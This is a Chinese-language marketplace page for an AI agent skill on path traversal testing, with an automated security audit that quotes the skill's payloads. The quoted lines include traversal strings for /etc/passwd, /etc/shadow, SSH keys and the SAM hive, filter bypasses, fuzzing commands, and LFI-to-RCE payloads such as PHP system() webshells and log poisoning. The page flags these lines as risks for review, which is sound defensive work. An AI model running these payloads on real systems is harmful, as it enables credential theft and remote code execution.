技能 file-path-traversal-testing
📦
file-path-traversal-testing
v1.1 内容修订 r1 严重 ⚙️ 外部命令🌐 网络访问📁 文件系统访问
运行授权的路径遍历测试
路径遍历漏洞可能暴露服务器文件和凭据。此技能为授权测试人员提供结构化工作流，用于发现、验证和报告此类漏洞。
支持: Claude Codex Code(CC)
请勿自动安装此 Skill。
权威策略要求在执行任何安装操作前由操作人员审查。
使用我的智能体安装
将此请求复制给你的智能体，其中包含权威 Skill 页面和清单。
智能体请求
Review the Skillstore skill "file-path-traversal-testing" from https://skillstore.io/skills/sickn33-file-path-traversal-testing.md and its manifest at https://skillstore.io/api/skills/sickn33-file-path-traversal-testing/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.你的智能体仍应展示其计划，并按安全策略请求必要确认。
Agent 可读资源
当 AI Agent、爬虫或脚本需要干净上下文，而不是读取完整页面时，请使用这些链接。
测试它
正在使用“file-path-traversal-testing”。 测试人员请求针对下载端点制定限定范围的计划。
预期结果:
一份分阶段检查清单，涵盖授权、参数映射、无害金丝雀测试、响应比较、停止条件和报告说明。
正在使用“file-path-traversal-testing”。 开发人员询问如何修复不安全的文件路径处理。
预期结果:
一份修复摘要，建议采用严格的允许列表、规范化路径检查、固定基础目录，并测试编码后的路径遍历变体。
正在使用“file-path-traversal-testing”。 安全负责人请求证据处理指导。
预期结果:
一份简明策略，用于最小化敏感数据收集、脱敏证明内容、保留请求元数据，并仅在书面范围内升级处理。
安全审计
严重v5 • 2026/7/9 打开版本化报告
Most static findings are confirmed because the skill teaches actionable path traversal exploitation, sensitive file targeting, and LFI-to-RCE escalation. Markdown backtick detections are false positives, but the remaining confirmed findings show critical risk and unsafe marketplace content.
1
已扫描文件
487
分析行数
64
复核项
0
已忽略误报
已确认安全问题 (47)
严重
SSH directory access
/root/.ssh/id_rsa # Root private key
The skill explicitly targets SSH private keys or authorized key material. These are sensitive credentials and should not be collected through traversal testing.
严重
SSH directory access
/root/.ssh/authorized_keys # Authorized keys
The skill explicitly targets SSH private keys or authorized key material. These are sensitive credentials and should not be collected through traversal testing.
严重
SSH directory access
/home/<user>/.ssh/id_rsa # User private keys
The skill explicitly targets SSH private keys or authorized key material. These are sensitive credentials and should not be collected through traversal testing.
严重
SSH private key file
/root/.ssh/id_rsa # Root private key
The skill explicitly targets SSH private keys or authorized key material. These are sensitive credentials and should not be collected through traversal testing.
严重
SSH private key file
/home/<user>/.ssh/id_rsa # User private keys
The skill explicitly targets SSH private keys or authorized key material. These are sensitive credentials and should not be collected through traversal testing.
严重
SSH private key file
C:\Users\<user>\.ssh\id_rsa
The skill explicitly targets SSH private keys or authorized key material. These are sensitive credentials and should not be collected through traversal testing.
严重
Windows SAM/registry hive access
C:\windows\system32\config\SAM
The skill lists the Windows SAM registry hive as a target file. That file can expose local password hashes and credential material.
严重
System password file access
../../../etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
显示全部 47 条已确认问题
严重
System password file access
../../../../etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
../../../../../etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
../../../../../../etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
curl "http://target.com/image?filename=../../../etc/passwd"
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
curl "http://target.com/download?file=....//....//....//etc/passwd"
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
/etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
/etc/shadow
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
....//....//....//etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
....\/....\/....\/etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
..././..././..././etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
....//....//etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
%2e%2e/%2e%2e/%2e%2e/etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
../../../etc/passwd%00.jpg
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
../../../etc/passwd%00.png
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
../../../etc/passwd...............................
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
../../../etc/passwd.jpg.php
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
/var/www/images/../../../etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
images/../../../etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
/etc/passwd # User accounts
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
/etc/shadow # Password hashes (root only)
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
# Traverse to /etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
../../../etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
....//....//....//etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
..;/..;/..;/etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
/etc/passwd
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
../../../etc/passwd%00.jpg
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
| `../../../etc/passwd` | Linux password file |
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
| `....//....//....//etc/passwd` | Bypass simple filter |
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
| `/etc/passwd` | Absolute path |
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
| Linux | `/etc/passwd` | User accounts |
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
System password file access
| Linux | `/etc/shadow` | Password hashes |
The skill provides payloads or target lists for reading /etc/passwd or /etc/shadow. These are sensitive system credential files.
严重
Explicit Arbitrary File Read Exploitation Intent
The skill is framed around exploiting path traversal to read arbitrary server files, including credentials and source code.
The description and purpose explicitly mention exploitation and arbitrary file reads. The target file list includes credentials, process data, and application configuration.
严重
LFI to RCE Escalation Workflow
The skill provides step-by-step log poisoning, process environment, and PHP wrapper techniques to turn file inclusion into command execution.
The section is explicitly titled as an escalation path and contains command execution payloads. This is direct offensive guidance, not defensive explanation only.
高
SSH host/auth files
/root/.ssh/authorized_keys # Authorized keys
The skill explicitly targets SSH private keys or authorized key material. These are sensitive credentials and should not be collected through traversal testing.
高
Crypto seed/private key mention
/root/.ssh/id_rsa # Root private key
The skill explicitly targets SSH private keys or authorized key material. These are sensitive credentials and should not be collected through traversal testing.
高
Crypto seed/private key mention
/home/<user>/.ssh/id_rsa # User private keys
The skill explicitly targets SSH private keys or authorized key material. These are sensitive credentials and should not be collected through traversal testing.
高
System reconnaissance
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
The line uses command execution output such as whoami during exploitation. That supports post-exploitation system reconnaissance.
高
System reconnaissance
"http://target.com/page?file=/proc/self/environ&c=whoami"
The line uses command execution output such as whoami during exploitation. That supports post-exploitation system reconnaissance.
低
System reconnaissance
/etc/hostname # System hostname
The skill lists /etc/hostname as a target file, which can reveal host identity. This is system reconnaissance through path traversal.
能力复核项 (64)
这些是真实的本地能力，对此技能可能是预期行为，因此需要复核，但不会按已确认恶意行为计分。
严重
Ruby/PHP system() call
curl -A "<?php system('id'); ?>" \
The line shows a PHP system() payload used during LFI-to-RCE escalation. It instructs command execution on a target host.
严重
Ruby/PHP system() call
curl -X POST -d "<?php system('id'); ?>" \
The line shows a PHP system() payload used during LFI-to-RCE escalation. It instructs command execution on a target host.
严重
Hardcoded URL
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
The placeholder URL appears inside an actionable command execution or LFI-to-RCE example. The command sends exploit payloads to a web target.
严重
Hardcoded URL
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
The placeholder URL appears inside an actionable command execution or LFI-to-RCE example. The command sends exploit payloads to a web target.
严重
Hardcoded URL
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
The placeholder URL appears inside an actionable command execution or LFI-to-RCE example. The command sends exploit payloads to a web target.
严重
Hardcoded URL
"http://target.com/page?file=/proc/self/environ"
The placeholder URL appears inside an actionable command execution or LFI-to-RCE example. The command sends exploit payloads to a web target.
严重
Hardcoded URL
"http://target.com/page?file=/proc/self/environ&c=whoami"
The placeholder URL appears inside an actionable command execution or LFI-to-RCE example. The command sends exploit payloads to a web target.
严重
Hardcoded URL
"http://target.com/page?file=php://input"
The placeholder URL appears inside an actionable command execution or LFI-to-RCE example. The command sends exploit payloads to a web target.
严重
Hardcoded URL
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&
The placeholder URL appears inside an actionable command execution or LFI-to-RCE example. The command sends exploit payloads to a web target.
严重
Hardcoded URL
curl "http://target.com/page?file=expect://id"
The placeholder URL appears inside an actionable command execution or LFI-to-RCE example. The command sends exploit payloads to a web target.
严重
Path traversal sequence
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
The traversal sequence is used to include log files as part of an RCE escalation flow. This is actionable exploit guidance.
严重
Path traversal sequence
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
The traversal sequence is used to include log files as part of an RCE escalation flow. This is actionable exploit guidance.
严重
Hidden file access
/root/.ssh/id_rsa # Root private key
The skill lists SSH key or authorization files as traversal targets. Access to these files can expose credentials or enable unauthorized access.
严重
Hidden file access
/root/.ssh/authorized_keys # Authorized keys
The skill lists SSH key or authorization files as traversal targets. Access to these files can expose credentials or enable unauthorized access.
严重
Hidden file access
/home/<user>/.ssh/id_rsa # User private keys
The skill lists SSH key or authorization files as traversal targets. Access to these files can expose credentials or enable unauthorized access.
严重
Linux /proc filesystem access
"http://target.com/page?file=/proc/self/environ"
The /proc/self/environ path is used in an RCE escalation example with injected PHP. This is a real post-exploitation technique.
严重
Linux /proc filesystem access
"http://target.com/page?file=/proc/self/environ&c=whoami"
The /proc/self/environ path is used in an RCE escalation example with injected PHP. This is a real post-exploitation technique.
高
Hardcoded URL
curl "http://target.com/image?filename=../../../etc/passwd"
The curl example sends traversal payloads to a web endpoint to retrieve server files. The placeholder host does not remove the exploit workflow.
高
Hardcoded URL
curl "http://target.com/download?file=....//....//....//etc/passwd"
The curl example sends traversal payloads to a web endpoint to retrieve server files. The placeholder host does not remove the exploit workflow.
高
Hardcoded URL
ffuf -u "http://target.com/image?filename=FUZZ" \
The command fuzzes a target URL parameter with traversal wordlists. Even with a placeholder host, this is actionable network exploitation guidance.
高
Hardcoded URL
ffuf -u "http://target.com/page?file=FUZZ" \
The command fuzzes a target URL parameter with traversal wordlists. Even with a placeholder host, this is actionable network exploitation guidance.
高
Hardcoded URL
"http://target.com/index.php?file=FUZZ"
The command fuzzes a target URL parameter with traversal wordlists. Even with a placeholder host, this is actionable network exploitation guidance.
高
Hardcoded URL
"http://target.com/load?path=FUZZ"
The command fuzzes a target URL parameter with traversal wordlists. Even with a placeholder host, this is actionable network exploitation guidance.
高
Hardcoded URL
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
The placeholder URL is used to read application source through a PHP wrapper. That is actionable file disclosure guidance against a web target.
高
Path traversal sequence
- `../` sequence moves up one directory
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
../../../etc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
../../../../etc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
../../../../../etc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
../../../../../../etc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
..\..\..\windows\win.ini
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
..\..\..\..\windows\system32\drivers\etc\hosts
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
..%2F..%2F..%2Fetc%2Fpasswd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
curl "http://target.com/image?filename=../../../etc/passwd"
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
curl "http://target.com/download?file=....//....//....//etc/passwd"
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
# When ../ is stripped once
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
....//....//....//etc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
....\/....\/....\/etc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
..././..././..././etc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
....//....//etc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
..%2f..%2f..%2fetc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
../../../etc/passwd%00.jpg
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
../../../etc/passwd%00.png
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
../../../etc/passwd...............................
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
../../../etc/passwd.jpg.php
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
/var/www/images/../../../etc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
images/../../../etc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
..%5c
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
....\\....\\etc\\passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
../../../etc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
..%2F..%2F..%2Fetc%2Fpasswd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
....//....//....//etc/passwd
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
../../../etc/passwd%00.jpg
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
| `../../../etc/passwd` | Linux password file |
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
| `..\..\..\..\windows\win.ini` | Windows INI file |
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
| `....//....//....//etc/passwd` | Bypass simple filter |
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
| URL Encoding | `%2e%2e%2f` = `../` |
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Path traversal sequence
| Double Encoding | `%252e%252e%252f` = `../` |
The line teaches or lists traversal payloads for accessing files outside the intended web root. That is the core exploit behavior of the skill.
高
Hidden file access
/var/www/html/.htaccess
The skill lists hidden web server configuration as a target file. This can disclose access rules or application configuration.
高
Linux /proc filesystem access
/proc/self/environ
The skill targets /proc files that expose environment, process, or kernel details. These files can leak secrets and system reconnaissance data.
高
Linux /proc filesystem access
/proc/self/environ # Environment variables
The skill targets /proc files that expose environment, process, or kernel details. These files can leak secrets and system reconnaissance data.
高
Linux /proc filesystem access
/proc/self/cmdline # Process command line
The skill targets /proc files that expose environment, process, or kernel details. These files can leak secrets and system reconnaissance data.
高
Linux /proc filesystem access
/proc/self/fd/0 # File descriptors
The skill targets /proc files that expose environment, process, or kernel details. These files can leak secrets and system reconnaissance data.
高
Linux /proc filesystem access
/proc/version # Kernel version
The skill targets /proc files that expose environment, process, or kernel details. These files can leak secrets and system reconnaissance data.
高
Linux /proc filesystem access
| Linux | `/proc/self/environ` | Environment vars |
The skill targets /proc files that expose environment, process, or kernel details. These files can leak secrets and system reconnaissance data.
风险因素
⚙️ 外部命令 (50)
SKILL.md:43-50 SKILL.md:50-53 SKILL.md:53-67 SKILL.md:67-87 SKILL.md:87-90 SKILL.md:90-91 SKILL.md:91-92 SKILL.md:92-93 SKILL.md:93-94 SKILL.md:94-100 SKILL.md:100-118 SKILL.md:118-122 SKILL.md:122-133 SKILL.md:133-139 SKILL.md:139-152 SKILL.md:152-156 SKILL.md:156-166 SKILL.md:166-170 SKILL.md:170-176 SKILL.md:176-180 SKILL.md:180-196 SKILL.md:196-202 SKILL.md:202-241 SKILL.md:241-247 SKILL.md:247-270 SKILL.md:270-276 SKILL.md:276-283 SKILL.md:283-287 SKILL.md:287-297 SKILL.md:297-301 SKILL.md:301-311 SKILL.md:311-317 SKILL.md:317-327 SKILL.md:327-331 SKILL.md:331-339 SKILL.md:339-343 SKILL.md:343-356 SKILL.md:356-362 SKILL.md:362-387 SKILL.md:387-393 SKILL.md:393-413 SKILL.md:413-415 SKILL.md:415-429 SKILL.md:429-437 SKILL.md:437-438 SKILL.md:438-439 SKILL.md:439-440 SKILL.md:440-441 SKILL.md:441-447 SKILL.md:447-448
🌐 网络访问 (15)
📁 文件系统访问 (47)
SKILL.md:53 SKILL.md:102 SKILL.md:103 SKILL.md:104 SKILL.md:105 SKILL.md:108 SKILL.md:109 SKILL.md:112 SKILL.md:116 SKILL.md:117 SKILL.md:140 SKILL.md:141 SKILL.md:142 SKILL.md:145 SKILL.md:146 SKILL.md:149 SKILL.md:158 SKILL.md:159 SKILL.md:162 SKILL.md:165 SKILL.md:172 SKILL.md:175 SKILL.md:191 SKILL.md:195 SKILL.md:322 SKILL.md:326 SKILL.md:367 SKILL.md:370 SKILL.md:374 SKILL.md:381 SKILL.md:437 SKILL.md:438 SKILL.md:439 SKILL.md:458 SKILL.md:459 SKILL.md:212 SKILL.md:213 SKILL.md:214 SKILL.md:228 SKILL.md:127 SKILL.md:232 SKILL.md:233 SKILL.md:234 SKILL.md:235 SKILL.md:334 SKILL.md:338 SKILL.md:449
检测到的模式
SSH directory access×3SSH private key file×3Windows SAM/registry hive accessSystem password file access×32System reconnaissance×3
审计者: codex 查看审计历史 →
分享与引用此报告
分享版本化评估报告、中性徽章、嵌入卡片和引用。Skillstore 只报告证据，不判断该 Skill 是否安全。
复制报告链接
https://skillstore.io/skills/sickn33-file-path-traversal-testing/audits/5?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown 徽章
[](https://skillstore.io/skills/sickn33-file-path-traversal-testing?utm_source=security_passport_badge)HTML 徽章
<a href="https://skillstore.io/skills/sickn33-file-path-traversal-testing?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-file-path-traversal-testing/security.svg" alt="Skillstore security assessment" loading="lazy"></a>嵌入卡片
<iframe src="https://skillstore.io/embed/skills/sickn33-file-path-traversal-testing.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>学术引用 (APA · BibTeX · CFF)
APA 引用
sickn33. (2026). file-path-traversal-testing security audit report (audit version 5) [Author version 1.1]. Skillstore. https://skillstore.io/skills/sickn33-file-path-traversal-testing/audits/5BibTeX 引用
@techreport{sickn33-sickn33-file-path-traversal-testing-2026,
author = {sickn33},
title = {file-path-traversal-testing security audit report (audit version 5)},
institution = {Skillstore},
year = {2026},
number = {5},
url = {https://skillstore.io/skills/sickn33-file-path-traversal-testing/audits/5},
note = {Author version 1.1}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "file-path-traversal-testing security audit report (audit version 5)"
version: "1.1"
type: report
authors:
- name: "sickn33"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/sickn33-file-path-traversal-testing/audits/5"
identifiers:
- type: other
value: "skillstore:sickn33-file-path-traversal-testing:audit:5"
description: "Skillstore immutable audit report identifier"
Skillstore 评分
评分依据 证据置信度: 中 55
架构
85
可维护性
87
内容
69
社区
83
规范符合性
你能构建什么
验证文件下载控制
评估限定范围内的 Web 端点是否可以读取其预期目录之外的文件。
准备渗透测试发现
为已确认的路径遍历问题整理证据、影响和修复说明。
审查路径处理修复
将白名单和规范化路径等缓解措施与常见绕过模式进行比较。
试试这些提示
规划安全检查
我已获授权测试一个文件下载端点。请帮助我规划安全的路径遍历检查，避免访问敏感数据。
构建测试矩阵
为 Linux 和 Windows 目标创建限定范围的路径遍历测试矩阵，并包含预期信号和停止条件。
分析证据
审查这些授权测试观察结果，并帮助判断它们是否能在不暴露秘密的情况下证明路径遍历影响。
撰写发现
起草一份专业的漏洞报告，包含影响、受影响参数、复现摘要、风险和修复指导。
最佳实践
- 在测试任何目标之前，确认已获得书面许可并明确范围。
- 在证明访问能力时，使用无害的金丝雀文件或实验室系统。
- 当出现秘密材料时停止测试，并仅记录必要证据。
避免
- 未经许可测试公开目标。
- 收集或发布密码、私钥、令牌或注册表配置单元。
- 在文件读取证据已经足够时，将 RCE 升级作为常规证明方式。
常见问题
此技能是否仅用于授权测试？
是。它只能用于测试人员拥有明确书面许可的系统。
它能否在不读取秘密的情况下证明影响？
可以。应尽可能使用无害的金丝雀文件、元数据或受控实验室夹具。
它本身会执行自动化利用吗？
不会。它提供测试指导和命令示例，但所有操作均由操作者控制。
它引用了哪些工具？
它引用了浏览器工具、Burp Suite、OWASP ZAP、curl、ffuf、wfuzz 和路径遍历字典。
应如何报告敏感发现？
报告所需的最小证明，对秘密值进行脱敏，并遵循项目披露流程。
开发人员能否将其用于防御目的？
可以。开发人员可以使用预防部分来审查验证、允许列表和规范化路径检查。